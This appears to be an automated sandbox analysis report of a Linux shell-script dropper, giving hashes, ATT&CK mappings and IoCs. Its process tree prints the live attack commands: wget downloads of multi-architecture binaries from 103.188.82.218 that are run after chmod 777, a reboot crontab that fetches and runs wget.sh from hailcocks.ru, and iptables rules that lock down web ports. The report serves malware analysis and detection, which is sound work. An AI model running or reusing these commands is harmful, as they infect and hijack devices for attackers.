c632725093e64d00e75fd6ac65faa0b27880419911c47b99319fae9a92e845f8

Analysis

max time kernel
149s
max time network
146s
platform
debian-9_armhf
resource
debian9-armhf-20240729-en
resource tags

arch:armhfimage:debian9-armhf-20240729-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
submitted
29-12-2024 02:42

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

c632725093e64d00e75fd6ac65faa0b27880419911c47b99319fae9a92e845f8.sh
Size

1KB
MD5

f1bc5c9578ad5b69e09a58a6b3721b64
SHA1

b7ce08c279c3c9c846a9f8edb4214e7fc4a40d72
SHA256

c632725093e64d00e75fd6ac65faa0b27880419911c47b99319fae9a92e845f8
SHA512

5afccb744365dc43090fa8c18e965708c3e45f8239268a31e2453cc3c32ff7bab095fc1718d2f89d3c597770c973a000722b4cba95c78896b1e63a92dba93788

Score

7^/10

defense_evasion discovery execution persistence privilege_escalatio

Malware Config

Signatures

File and Directory Permissions Modification 1 TTPs 10 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
738	chmod
744	chmod
753	chmod
735	chmod
705	chmod
707	sh
741	chmod
747	chmod
750	chmod
687	chmod

Executes dropped EXE 8 IoCs

ioc	pid	Process
/run/user/0/upnp	706	upnp
/run/user/0/upnp	736	upnp
/run/user/0/upnp	739	upnp
/run/user/0/upnp	742	upnp
/run/user/0/upnp	745	upnp
/run/user/0/upnp	748	upnp
/run/user/0/upnp	751	upnp
/run/user/0/upnp	754	upnp

Renames itself 1 IoCs

pid	Process
706	upnp

Unexpected DNS network traffic destination 2 IoCs

Network traffic to other servers than the configured DNS servers was detected on the DNS port.

description	ioc
Destination IP	217.160.70.42
Destination IP	65.21.1.106

Creates/modifies Cron job 1 TTPs 1 IoCs

Cron allows running tasks on a schedule, and is commonly used for malware persistence.

execution persistence privilege_escalatio

Cron

T1053.003

description	ioc	Process
File opened for modification	/var/spool/cron/crontabs/tmp.HtQ0Uj	crontab

Enumerates running processes
Discovers information about currently running processes on the system

Changes its process name 1 IoCs

description	ioc	pid	Process
Changes the process name, possibly in an attempt to hide itself	/bin/busybox telentd	706	upnp

Reads runtime system information 64 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/18/stat	killall
File opened for reading	/proc/145/stat	killall
File opened for reading	/proc/659/stat	killall
File opened for reading	/proc/661/stat	killall
File opened for reading	/proc/734/status	upnp
File opened for reading	/proc/795/status	upnp
File opened for reading	/proc/719/status	upnp
File opened for reading	/proc/735/status	upnp
File opened for reading	/proc/10/stat	killall
File opened for reading	/proc/27/stat	killall
File opened for reading	/proc/157/stat	killall
File opened for reading	/proc/202/stat	killall
File opened for reading	/proc/272/stat	killall
File opened for reading	/proc/715/status	upnp
File opened for reading	/proc/750/status	upnp
File opened for reading	/proc/779/status	upnp
File opened for reading	/proc/760/status	upnp
File opened for reading	/proc/785/status	upnp
File opened for reading	/proc/4/stat	killall
File opened for reading	/proc/276/stat	killall
File opened for reading	/proc/720/status	upnp
File opened for reading	/proc/729/status	upnp
File opened for reading	/proc/731/status	upnp
File opened for reading	/proc/733/status	upnp
File opened for reading	/proc/797/status	upnp
File opened for reading	/proc/17/stat	killall
File opened for reading	/proc/109/stat	killall
File opened for reading	/proc/610/stat	killall
File opened for reading	/proc/763/status	upnp
File opened for reading	/proc/789/status	upnp
File opened for reading	/proc/796/status	upnp
File opened for reading	/proc/25/stat	killall
File opened for reading	/proc/26/stat	killall
File opened for reading	/proc/28/stat	killall
File opened for reading	/proc/43/stat	killall
File opened for reading	/proc/740/status	upnp
File opened for reading	/proc/794/status	upnp
File opened for reading	/proc/filesystems	cp
File opened for reading	/proc/716/status	upnp
File opened for reading	/proc/111/stat	killall
File opened for reading	/proc/170/stat	killall
File opened for reading	/proc/664/cmdline	upnp
File opened for reading	/proc/731/cmdline	upnp
File opened for reading	/proc/774/status	upnp
File opened for reading	/proc/304/stat	killall
File opened for reading	/proc/6/stat	killall
File opened for reading	/proc/655/stat	killall
File opened for reading	/proc/660/cmdline	killall
File opened for reading	/proc/752/status	upnp
File opened for reading	/proc/769/status	upnp
File opened for reading	/proc/22/stat	killall
File opened for reading	/proc/24/stat	killall
File opened for reading	/proc/652/stat	killall
File opened for reading	/proc/721/status	upnp
File opened for reading	/proc/730/status	upnp
File opened for reading	/proc/757/status	upnp
File opened for reading	/proc/self/exe	cp
File opened for reading	/proc/764/status	upnp
File opened for reading	/proc/744/status	upnp
File opened for reading	/proc/777/status	upnp
File opened for reading	/proc/781/status	upnp
File opened for reading	/proc/767/status	upnp
File opened for reading	/proc/16/stat	killall
File opened for reading	/proc/653/cmdline	killall

System Network Configuration Discovery 1 TTPs 2 IoCs

Adversaries may gather information about the network configuration of a system.

discovery

System Network Configuration Discovery

T1016

pid	Process
743	wget
745	upnp

Writes file to shm directory 1 IoCs

Malware can drop malicious files in the shm directory which will run directly from RAM.

description	ioc	Process
File opened for modification	/dev/shm/.a	c632725093e64d00e75fd6ac65faa0b27880419911c47b99319fae9a92e845f8.sh

Writes file to tmp directory 1 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/.a	c632725093e64d00e75fd6ac65faa0b27880419911c47b99319fae9a92e845f8.sh

/tmp/c632725093e64d00e75fd6ac65faa0b27880419911c47b99319fae9a92e845f8.sh
/tmp/c632725093e64d00e75fd6ac65faa0b27880419911c47b99319fae9a92e845f8.sh
1⤵
- Writes file to shm directory
- Writes file to tmp directory
PID:660
- /usr/bin/killall
  killall -9 dvrLocker
  2⤵
  - Reads runtime system information
  PID:662
- /bin/cat
  cat /proc/mounts
  2⤵
  PID:666
- /bin/grep
  grep tmpfs
  2⤵
  PID:667
- /bin/grep
  grep rw
  2⤵
  PID:668
- /bin/grep
  grep -v noexe
  2⤵
  PID:669
- /usr/bin/cut
  cut -d " " -f 2
  2⤵
  PID:670
- /bin/rm
  rm -rf .a .f
  2⤵
  PID:676
- /bin/rm
  rm -rf .a .f
  2⤵
  PID:678
- /bin/rm
  rm -rf .a .f
  2⤵
  PID:680
- /bin/cp
  cp /proc/self/exe .f
  2⤵
  - Reads runtime system information
  PID:683
- /bin/chmod
  chmod 777 .f
  2⤵
  - File and Directory Permissions Modification
  PID:687
- /bin/rm
  rm -rf upnp
  2⤵
  PID:689
- /usr/bin/wget
  wget http://103.188.82.218/t/arm -O -
  2⤵
  PID:692
- /bin/chmod
  chmod 777 upnp
  2⤵
  - File and Directory Permissions Modification
  PID:705
- /run/user/0/upnp
  ./upnp tplink.arm
  2⤵
  - Executes dropped EXE
  - Renames itself
  - Changes its process name
  - Reads runtime system information
  PID:706
- - /bin/sh
    sh -c "(crontab -l ; echo \"@reboot cd /tmp; wget http://hailcocks.ru/wget.sh; curl --output wget.sh http://hailcocks.ru/wget.sh; chmod 777 wget.sh; ./wget.sh\") | crontab -"
    3⤵
    - File and Directory Permissions Modification
    PID:707
  - - /usr/bin/crontab
      crontab -
      4⤵
      Creates/modifies Cron job
      PID:709
  - - /usr/bin/crontab
      crontab -l
      4⤵
      PID:710
- /usr/bin/wget
  wget http://103.188.82.218/t/arm5 -O -
  2⤵
  PID:714
- /bin/chmod
  chmod 777 upnp
  2⤵
  - File and Directory Permissions Modification
  PID:735
- /run/user/0/upnp
  ./upnp tplink.arm5
  2⤵
  - Executes dropped EXE
  PID:736
- /usr/bin/wget
  wget http://103.188.82.218/t/arm6 -O -
  2⤵
  PID:737
- /bin/chmod
  chmod 777 upnp
  2⤵
  - File and Directory Permissions Modification
  PID:738
- /run/user/0/upnp
  ./upnp tplink.arm6
  2⤵
  - Executes dropped EXE
  PID:739
- /usr/bin/wget
  wget http://103.188.82.218/t/arm6 -O -
  2⤵
  PID:740
- /bin/chmod
  chmod 777 upnp
  2⤵
  - File and Directory Permissions Modification
  PID:741
- /run/user/0/upnp
  ./upnp tplink.arm6
  2⤵
  - Executes dropped EXE
  PID:742
- /usr/bin/wget
  wget http://103.188.82.218/t/mips -O -
  2⤵
  - System Network Configuration Discovery
  PID:743
- /bin/chmod
  chmod 777 upnp
  2⤵
  - File and Directory Permissions Modification
  PID:744
- /run/user/0/upnp
  ./upnp tplink.mips
  2⤵
  - Executes dropped EXE
  - System Network Configuration Discovery
  PID:745
- /usr/bin/wget
  wget http://103.188.82.218/t/mpsl -O -
  2⤵
  PID:746
- /bin/chmod
  chmod 777 upnp
  2⤵
  - File and Directory Permissions Modification
  PID:747
- /run/user/0/upnp
  ./upnp tplink.mpsl
  2⤵
  - Executes dropped EXE
  PID:748
- /usr/bin/wget
  wget http://103.188.82.218/t/ppc -O -
  2⤵
  PID:749
- /bin/chmod
  chmod 777 upnp
  2⤵
  - File and Directory Permissions Modification
  PID:750
- /run/user/0/upnp
  ./upnp tplink.ppc
  2⤵
  - Executes dropped EXE
  PID:751
- /usr/bin/wget
  wget http://103.188.82.218/t/x86 -O -
  2⤵
  PID:752
- /bin/chmod
  chmod 777 upnp
  2⤵
  - File and Directory Permissions Modification
  PID:753
- /run/user/0/upnp
  ./upnp tplink.x86
  2⤵
  - Executes dropped EXE
  PID:754
- /sbin/iptables
  iptables -A INPUT -p tcp --dport 443 -s 95.214.53.205 -j ACCEPT
  2⤵
  PID:755
- /sbin/iptables
  iptables -A INPUT -p tcp --dport 80 -s 95.214.53.205 -j ACCEPT
  2⤵
  PID:756
- /sbin/iptables
  iptables -A INPUT -p tcp --dport 8081 -s 95.214.53.205 -j ACCEPT
  2⤵
  PID:757
- /sbin/iptables
  iptables -A INPUT -p tcp --dport 8080 -s 95.214.53.205 -j ACCEPT
  2⤵
  PID:758
- /sbin/iptables
  iptables -A INPUT -p tcp --dport 8888 -s 95.214.53.205 -j ACCEPT
  2⤵
  PID:759
- /sbin/iptables
  iptables -A INPUT -p tcp --dport 443 -j DROP
  2⤵
  PID:760
- /sbin/iptables
  iptables -A INPUT -p tcp --dport 80 -j DROP
  2⤵
  PID:761
- /sbin/iptables
  iptables -A INPUT -p tcp --dport 8081 -j DROP
  2⤵
  PID:762
- /sbin/iptables
  iptables -A INPUT -p tcp --dport 8080 -j DROP
  2⤵
  PID:763
- /sbin/iptables
  iptables -A INPUT -p tcp --dport 8888 -j DROP
  2⤵
  PID:764

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Cron

T1053.003

Persistence

Scheduled Task/Job

T1053

Cron

T1053.003

Privilege Escalation

Scheduled Task/Job

T1053

Cron

T1053.003

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Credential Access

Discovery

System Network Configuration Discovery

T1016

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

/run/user/0/.f

Filesize
82KB

MD5
d89fb71971ef87948c4609f4176aa351

SHA1
c1b55e8f203e493b7f159a54fcd790f041950f19

SHA256
be74b028c309d3e0b4791727a3a0da8b3eb278c95860b55f9c42cc16dcb40fd4

SHA512
7248344009497a33f134707b3ef610b8bf1022656303d6cd9aa28b50ab903d82da498c5ac110da828e513dc1ff42942721ddbc0d2744fd0e0f4a26a24f60dc10

Download Submit
/run/user/0/upnp

Filesize
73KB

MD5
f812a7b3a877f717eb6e54b843b41848

SHA1
21ee67d9a9b638621646e1b57fdc0f1eb0bdfa25

SHA256
9a7e77eff17b6bab95e53989adca31512823cf0c92a342a1b7e2ca445d9bb560

SHA512
c236138e33d6d68c2bf4a6f5a4289070089b5bdb4ee153bc9f317e6ed5da00cb3b2117c68f427d0d58b072a7d453c728f5471c257e752b3514a1077b6978a732

Download Submit
/run/user/0/upnp

Filesize
77KB

MD5
d09db60a70d5b53b5b53ad39476fd7e8

SHA1
73a75e5e8200f77d857a7256cc0979077e29241d

SHA256
36b5ad3793ba15e920ea49a43467610bfce85149afc12af166a56bb2011a9165

SHA512
ea6156cf3b4480fef088a1fefd8bd1845418606a412a8ab883734e2d297e6169de35456ecd2a5738967ef310066482069262171329624d28184a919cefb21c04

Download Submit
/var/spool/cron/crontabs/tmp.HtQ0Uj

Filesize
306B

MD5
26a268b3553d5c713f34c4d244039c31

SHA1
841a54c7f2d8f0b6fc8e25445ddeb7a605c53284

SHA256
668ea2e627ee49274c41edb604e8caddb940ef1ebfee55214a6ced813d337cde

SHA512
eeed48a4988c84f50006d564764ccfa91727890cd1d364653dfef81cbadeb34b162fae97d8cc22db2d2c01d0c726a6418f50b009e54b07d8063e6e3676485213

Download Submit

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads